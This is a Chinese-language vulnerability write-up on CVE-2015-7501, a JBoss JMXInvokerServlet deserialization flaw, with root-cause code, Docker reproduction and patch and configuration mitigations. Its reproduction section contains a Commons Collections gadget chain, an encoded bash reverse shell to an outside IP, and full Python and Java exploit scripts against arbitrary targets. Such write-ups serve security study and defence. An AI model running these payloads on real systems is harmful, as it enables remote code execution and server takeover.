一、漏洞简介¶
1.1 漏洞背景¶
2015年11月,FoxGlove Security 研究团队公开了一份关于 Java 反序列化漏洞的详细报告,该报告揭示了 Apache Commons Collections 库中存在的严重安全缺陷。这个漏洞影响了大量 Java 中间件产品,包括 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 等。
该漏洞的核心问题在于 Java 对象序列化机制与 Apache Commons Collections 库的结合使用。当应用程序对不可信数据进行反序列化操作时,攻击者可以通过精心构造的序列化对象触发任意代码执行。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2015-7501 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | JMXInvokerServlet 反序列化远程代码执行漏洞 |
| 披露时间 | 2017-11-09 |
| 影响组件 | JBoss |
| 属性 | 描述 |
|---|---|
| CVE 编号 | CVE-2015-7501 |
| 危害等级 | 严重(Critical) |
| CVSS 评分 | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 漏洞类型 | 反序列化不受信任数据 (CWE-502) |
| 影响组件 | Apache Commons Collections 库 |
| 攻击复杂度 | 低 |
| 权限要求 | 无需认证 |
| 用户交互 | 无需用户交互 |
补充核验信息:公开时间:2017-11-09;NVD 评分:9.8(CRITICAL);CWE:CWE-502。
二、影响范围¶
2.1 受影响的版本¶
该漏洞影响 Red Hat JBoss 中间件产品线的多个版本:
JBoss Enterprise Application Platform (EAP): - JBoss EAP 6.x (6.0.0 - 6.4.4) - JBoss EAP 5.x (5.0.0 - 5.2.0) - JBoss EAP 4.3.x
其他 JBoss 产品: - Red Hat JBoss A-MQ 6.x - Red Hat JBoss BPM Suite (BPMS) 6.x - Red Hat JBoss BRMS 6.x 和 5.x - Red Hat JBoss Data Grid (JDG) 6.x - Red Hat JBoss Data Virtualization (JDV) 6.x 和 5.x - Red Hat JBoss Fuse 6.x - Red Hat JBoss Fuse Service Works (FSW) 6.x - Red Hat JBoss Operations Network (JBoss ON) 3.x - Red Hat JBoss Portal 6.x - Red Hat JBoss SOA Platform (SOA-P) 5.x - Red Hat JBoss Web Server (JWS) 3.x - Red Hat OpenShift/xPAAS 3.x - Red Hat Subscription Asset Manager 1.3
2.2 不受影响的版本¶
- JBoss EAP 7.0 及以上版本(使用更新的 commons-collections 版本)
- 已应用相关安全补丁的版本
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 默认配置暴露:
/invoker/JMXInvokerServlet端点默认启用且可通过 HTTP/HTTPS 访问 - 存在漏洞组件:classpath 中包含存在漏洞的 Apache Commons Collections 版本(3.2.1 及之前版本)
- 网络可达性:攻击者能够通过网络访问 JBoss 服务的 HTTP/HTTPS 端口(默认 8080/8443)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
该漏洞的攻击链如下:
攻击者构造恶意序列化对象
↓
发送到 JMXInvokerServlet 端点
↓
服务端接收并反序列化对象
↓
触发 Commons Collections Gadget 链
↓
执行任意系统命令
关键端点:
- /invoker/JMXInvokerServlet - JMX 远程调用服务
- /invoker/EJBInvokerServlet - EJB 远程调用服务
这些端点使用 Java 原生序列化协议传输数据,直接对传入的序列化对象进行反序列化,而不进行任何类型验证或限制。
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞根源:Apache Commons Collections 的 Transformer 链
核心问题类:org.apache.commons.collections.functors.InvokerTransformer
// InvokerTransformer.java - 存在问题的代码
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
// 通过反射调用任意方法
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (Exception ex) {
throw new FunctorException("InvokerTransformer: " +
"The method '" + iMethodName + "' on '" + input.getClass() +
"' does not exist");
}
}
}
Gadget 链构造:
// 攻击链构造示例
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.*;
import java.lang.reflect.*;
public class CommonsCollectionsPayload {
public static Object generatePayload(String command) throws Exception {
// 构建命令执行的 Transformer 链
final String[] execArgs = new String[]{command};
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
execArgs)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 创建 LazyMap 触发器
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
// 使用 TiedMapEntry 或 AnnotationInvocationHandler 作为反序列化入口
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
Map outerMap = new HashMap();
outerMap.put(entry, "bar");
// 清除 lazyMap 以确保反序列化时触发
innerMap.clear();
return outerMap;
}
}
JMXInvokerServlet 处理流程:
// JMXInvokerServlet.java (简化版)
public class JMXInvokerServlet extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 从请求体读取序列化数据
ObjectInputStream ois = new ObjectInputStream(req.getInputStream());
try {
// 危险:直接反序列化不受信任的数据
Object invocation = ois.readObject();
// 处理 JMX 调用...
processInvocation((MarshalledInvocation) invocation);
} catch (ClassNotFoundException e) {
throw new ServletException("Deserialization failed", e);
}
}
}
问题代码位置:
- commons-collections-3.x.jar 中的 InvokerTransformer、InstantiateFactory、InstantiateTransformer 类
- JBoss 的 jboss-remoting.jar 中的序列化处理代码
四、漏洞复现(可选)¶
4.1 环境搭建¶
使用 Docker 搭建漏洞环境:
# 创建 Dockerfile
cat > Dockerfile << 'EOF'
FROM java:7-jdk
# 下载 JBoss 4.2.3.GA
RUN wget -q https://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA/jboss-4.2.3.GA-jdk6.zip/download -O /tmp/jboss.zip && \
unzip /tmp/jboss.zip -d /opt && \
rm /tmp/jboss.zip
WORKDIR /opt/jboss-4.2.3.GA
# 暴露端口
EXPOSE 8080 4446 4444 1098 1099
CMD ["./bin/run.sh", "-b", "0.0.0.0"]
EOF
# 构建并运行
docker build -t jboss-vuln .
docker run -d -p 8080:8080 --name jboss jboss-vuln
验证环境:
# 访问 JBoss 控制台
curl -I http://localhost:8080/
# 检查存在漏洞的端点
curl -I http://localhost:8080/invoker/JMXInvokerServlet
# 如果返回 200 或 500,说明端点存在
4.2 PoC 演示与测试过程¶
使用 ysoserial 生成 payload:
# 下载 ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# 生成反向 shell payload(需要 CommonsCollections5 链)
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.ser
使用 curl 发送 payload:
# 发送恶意序列化对象
curl -X POST \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.ser \
http://localhost:8080/invoker/JMXInvokerServlet
Python PoC 脚本:
#!/usr/bin/env python3
"""
CVE-2015-7501 JBoss JMXInvokerServlet Deserialization RCE
Usage: python exploit.py -t http://target:8080 -c "touch /tmp/pwned"
"""
import sys
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import subprocess
import os
# 禁用 SSL 警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class JBossExploit:
def __init__(self, target, command):
self.target = target.rstrip('/')
self.command = command
self.ysoserial_path = 'ysoserial-all.jar'
def generate_payload(self):
"""使用 ysoserial 生成 payload"""
try:
cmd = [
'java', '-jar', self.ysoserial_path,
'CommonsCollections5', self.command
]
result = subprocess.run(cmd, capture_output=True)
if result.returncode != 0:
print(f"[-] Payload 生成失败: {result.stderr.decode()}")
return None
return result.stdout
except FileNotFoundError:
print("[-] 未找到 ysoserial,请确保 ysoserial-all.jar 在当前目录")
return None
def exploit(self):
"""发送 exploit"""
print(f"[*] 目标: {self.target}")
print(f"[*] 命令: {self.command}")
# 检查端点是否存在
vuln_path = "/invoker/JMXInvokerServlet"
check_url = self.target + vuln_path
try:
resp = requests.head(check_url, verify=False, timeout=10)
if resp.status_code not in [200, 500, 401]:
print(f"[-] 端点可能不存在,状态码: {resp.status_code}")
return False
print(f"[+] 端点存在,状态码: {resp.status_code}")
except requests.RequestException as e:
print(f"[-] 连接失败: {e}")
return False
# 生成 payload
print("[*] 生成 payload...")
payload = self.generate_payload()
if not payload:
return False
# 发送 exploit
print("[*] 发送 exploit...")
headers = {
'Content-Type': 'application/x-java-serialized-object'
}
try:
resp = requests.post(
check_url,
data=payload,
headers=headers,
verify=False,
timeout=15
)
print(f"[*] 响应状态码: {resp.status_code}")
# 如果是 500 错误,可能是因为命令执行导致 JVM 崩溃
if resp.status_code == 500:
print("[+] 可能存在漏洞(500 响应)")
return True
elif resp.status_code == 200:
print("[+] 端点响应正常,请验证命令是否执行")
return True
else:
print(f"[-] 未知响应: {resp.status_code}")
return False
except requests.RequestException as e:
print(f"[-] 请求失败: {e}")
return False
def main():
parser = argparse.ArgumentParser(description='CVE-2015-7501 JBoss Exploit')
parser.add_argument('-t', '--target', required=True, help='目标 URL')
parser.add_argument('-c', '--command', default='id', help='要执行的命令')
args = parser.parse_args()
exploit = JBossExploit(args.target, args.command)
success = exploit.exploit()
sys.exit(0 if success else 1)
if __name__ == '__main__':
main()
Java PoC 代码:
import java.io.*;
import java.net.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.*;
import java.lang.reflect.Field;
public class CVE_2015_7501_Exploit {
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("Usage: java CVE_2015_7501_Exploit <target_url> <command>");
System.exit(1);
}
String targetUrl = args[0];
String command = args[1];
// 生成 payload
byte[] payload = generatePayload(command);
// 发送请求
URL url = new URL(targetUrl + "/invoker/JMXInvokerServlet");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/x-java-serialized-object");
conn.setDoOutput(true);
try (OutputStream os = conn.getOutputStream()) {
os.write(payload);
}
System.out.println("Response: " + conn.getResponseCode());
}
public static byte[] generatePayload(String command) throws Exception {
// ChainedTransformer 构造
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new Object[] { command })
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
Map outerMap = new HashMap();
outerMap.put(entry, "bar");
innerMap.clear();
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(outerMap);
oos.close();
return baos.toByteArray();
}
}
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
Red Hat 官方补丁:
| 产品版本 | 补丁/升级方案 |
|---|---|
| JBoss EAP 6.4.x | 升级至 6.4.5+ 并应用 RHSA-2015:2501 |
| JBoss EAP 6.3.x | 升级至 6.3.4+ 并应用 RHSA-2015:2501 |
| JBoss EAP 6.2.x | 升级至 6.2.5+ 并应用 RHSA-2015:2501 |
| JBoss EAP 5.x | 应用 RHSA-2015:2514 补丁 |
| JBoss EAP 4.3.x | 应用 CP10 累积补丁 |
升级 commons-collections 库:
<!-- pom.xml - 升级到安全版本 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version> <!-- 3.2.2 修复了此漏洞 -->
</dependency>
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:删除危险的类文件
# 从 commons-collections JAR 中删除危险的类
cd $JBOSS_HOME/server/default/lib
jar tf commons-collections.jar | grep -E "(InvokerTransformer|InstantiateFactory|InstantiateTransformer)"
# 备份原文件
cp commons-collections.jar commons-collections.jar.bak
# 使用 zip 命令删除危险类
zip -d commons-collections.jar \
"org/apache/commons/collections/functors/InvokerTransformer.class" \
"org/apache/commons/collections/functors/InstantiateFactory.class" \
"org/apache/commons/collections/functors/InstantiateTransformer.class"
方案二:禁用/限制 Invoker Servlet
修改 $JBOSS_HOME/server/default/deploy/jbossweb.sar/META-INF/web.xml:
<!-- 注释或删除以下 servlet 映射 -->
<!--
<servlet>
<servlet-name>JMXInvokerServlet</servlet-name>
<servlet-class>org.jboss.invocation.http.servlet.InvokerServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>JMXInvokerServlet</servlet-name>
<url-pattern>/invoker/JMXInvokerServlet/*</url-pattern>
</servlet-mapping>
-->
方案三:网络访问控制
# 使用防火墙限制访问
# 只允许内网 IP 访问 8080 端口
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
# 或者使用 Apache/Nginx 作为反向代理进行访问控制
方案四:启用认证
修改 $JBOSS_HOME/server/default/conf/props/jmx-console-users.properties:
# 添加强密码的管理员账户
admin=$tr0ngP@ssw0rd!
修改 web.xml 启用 BASIC 认证:
<security-constraint>
<web-resource-collection>
<web-resource-name>Invoker</web-resource-name>
<url-pattern>/invoker/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>Admin</role-name>
</auth-constraint>
</security-constraint>
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Red Hat Security Advisory RHSA-2015:2500
- Red Hat Security Advisory RHSA-2015:2501
- Red Hat Security Advisory RHSA-2015:2514
- Apache Commons Collections Security Vulnerability